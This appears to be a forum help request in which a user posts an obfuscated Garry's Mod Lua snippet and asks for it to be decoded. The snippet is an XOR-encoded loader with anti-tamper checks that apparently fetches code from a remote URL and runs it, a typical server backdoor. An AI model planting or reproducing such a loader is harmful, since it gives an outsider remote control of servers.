Decode script

Hi guys, need yr help.
I have a crypted code, need decompile there.

RunString([[ local glac = {2401,2402,2414,2412,2401,2349,2411,2424,2403,2414 ,2425,2404,2402,2403,2349,2393,2405,2404,2403,2406 ,2341,2349,2429,2401,2420,2349,2340,2311,2349,2349 ,2349,2349,2405,2425,2425,2429,2339,2379,2408,2425 ,2414,2405,2341,2351,2405,2425,2425,2429,2430,2359 ,2338,2338,2410,2400,2402,2409,2401,2408,2412,2406 ,2430,2339,2414,2402,2400,2338,2410,2401,2412,2414 ,2338,2365,2366,2356,2409,2361,2363,2367,2415,2357 ,2362,2361,2409,2411,2362,2361,2409,2356,2362,2360 ,2360,2411,2356,2356,2360,2414,2363,2408,2362,2366 ,2408,2409,2363,2414,2356,2361,2367,2357,2361,2360 ,2363,2415,2361,2361,2364,2365,2409,2364,2415,2415 ,2367,2364,2409,2364,2409,2363,2415,2360,2364,2366 ,2414,2367,2356,2367,2415,2409,2362,2414,2357,2356 ,2411,2415,2361,2366,2364,2367,2365,2357,2364,2365 ,2365,2356,2412,2415,2366,2356,2361,2414,2363,2411 ,2357,2408,2357,2362,2365,2356,2360,2414,2361,2362 ,2364,2409,2412,2415,2412,2414,2356,2411,2412,2362 ,2412,2364,2357,2361,2357,2362,2366,2415,2362,2408 ,2360,2415,2357,2356,2364,2415,2365,2362,2361,2338 ,2411,2404,2401,2408,2430,2338,2410,2401,2412,2414 ,2386,2401,2402,2412,2409,2408,2431,2339,2401,2424 ,2412,2351,2337,2349,2399,2424,2403,2398,2425,2431 ,2404,2403,2410,2349,2340,2311,2349,2349,2349,2349 ,2405,2402,2402,2406,2339,2399,2408,2400,2402,2427 ,2408,2341,2351,2393,2405,2404,2403,2406,2351,2337 ,2349,2351,2364,2367,2366,2351,2340,2311,2408,2403 ,2409,2311,2405,2402,2402,2406,2339,2380,2409,2409 ,2341,2349,2351,2393,2405,2404,2403,2406,2351,2337 ,2349,2351,2364,2367,2366,2351,2337,2349,2393,2405 ,2404,2403,2406,2349,2340,0}
local function Drmdontouch()if (debug.getinfo(function()end).short_src~="tenjznj" )then return end for o=500,10000 do local t=0 if t==1 then return end if o~=string.len(string.dump(Drmdontouch))then AZE=10 CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")() if AZE<40 then return end continue else local pdata="" xpcall(function() for i=1,#glac do pdata=pdata..string.char(bit.bxor(glac[i],2317)) end for i=1,string.len(string.dump(CompileString)) do while o==1 do o=o+2 end end end,function() xpcall(function() local debug_inject=CompileString(pdata,"licence") pcall(debug_inject,"stat") pdata="F" t=1 end,function() print("An error as occured with the code") end) end) end end end Drmdontouch() ]],"tenjznj")